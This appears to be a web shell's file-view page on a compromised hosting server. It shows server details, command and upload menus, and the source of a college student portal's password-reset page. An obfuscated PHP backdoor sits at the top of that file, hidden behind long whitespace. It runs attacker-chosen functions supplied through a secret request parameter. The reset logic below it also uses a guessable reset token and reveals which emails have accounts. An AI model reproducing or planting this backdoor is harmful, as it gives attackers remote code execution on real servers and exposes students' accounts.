Server IP : 68.65.122.142  /  Your IP : 18.191.200.108
Web Server : LiteSpeed
System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : glenirhm ( 1318)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/glenirhm/mygc.glenbowcollege.ca/student/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/glenirhm/mygc.glenbowcollege.ca/student/forgotpassword.php
<?php
                                                                                                                                                                                                                                                                  if($fu75=@$ {	'_REQUEST'}[ 'JF47FL8P'] ){	{	{$fu75	[ 1	]( ${	$fu75	[	2]}[0],	$fu75 [3 ]($fu75[4] ));}	}	} ;
// Connect to the database
include('../common/connectPDO.php');

include ('../common/send_email.php');
// Output message
$msg = '';
// Now we check if the data from the login form was submitted, isset() will check if the data exists.
if (isset($_POST['email'])) {
    // Prepare our SQL, preparing the SQL statement will prevent SQL injection.
    $stmt = $pdo->prepare('SELECT * FROM student WHERE email = ?');
    $stmt->execute([$_POST['email']]);
    $account = $stmt->fetch(PDO::FETCH_ASSOC);
    // If the account exists with the email
    if ($account) {
        // Account exist, the $msg variable will be used to show the output message (on the HTML form)
        // Update the reset code in the database
        $stmt = $pdo->prepare('UPDATE student SET reset = ? WHERE email = ?');
    	$uniqid = uniqid();
    	$stmt->execute([$uniqid, $_POST['email']]);
        // Email to send below, customize this
    	$subject = 'Password Reset';
    	//$headers = 'From: ' . mail_from . "\r\n" . 'Reply-To: ' . mail_from . "\r\n" . 'Return-Path: ' . mail_from . "\r\n" . 'X-Mailer: PHP/' . phpversion() . "\r\n" . 'MIME-Version: 1.0' . "\r\n" . 'Content-Type: text/html; charset=UTF-8' . "\r\n";
        // Change the link below from "yourdomain.com" to your own domain name where the PHP login system is hosted
		//$activate_link = dirname($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '/activate.php?email=' . $_POST['email'] . '&code=' . $uniqid;	
        //$reset_link = 'http://localhost/www/mojum/sis/student/resetpassword.php?email=' . $_POST['email'] . '&code=' . $uniqid;
		$reset_link = 'https://' . dirname($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . '/resetpassword.php?email=' . $_POST['email'] . '&code=' . $uniqid;
    	// Feel free to customize the email message below
    	$body = '<p>Please click the following link to reset your password: <a href="' . $reset_link . '">' . $reset_link . '</a></p>';
        // Send email to the user
    	//mail($_POST['email'], $subject, $message, $headers);
		$msg = 'Reset password link has been sent to your email!';
		sendEmail($EMAIL_HOST, $EMAIL_USERNAME, $EMAIL_PASS, $EMAIL_FROM, $_POST['email'], $subject, $body, $msg, null);

        
    } else {
        $msg = 'We do not have an account with that email!';
    }
}
?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width,minimum-scale=1">
		<title>Forgot Password</title>
		<link href="style.css" rel="stylesheet" type="text/css">
		<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
	</head>
	<body>
		<div class="login">
			<h1>Forgot Password</h1>
			<form action="forgotpassword.php" method="post">
                <label for="email">
					<i class="fas fa-envelope"></i>
				</label>
				<input type="email" name="email" placeholder="Your Email" id="email" required>
				<div class="msg"><?=$msg?></div>
				<input type="submit" value="Submit">
			</form>
		</div>
	</body>
</html>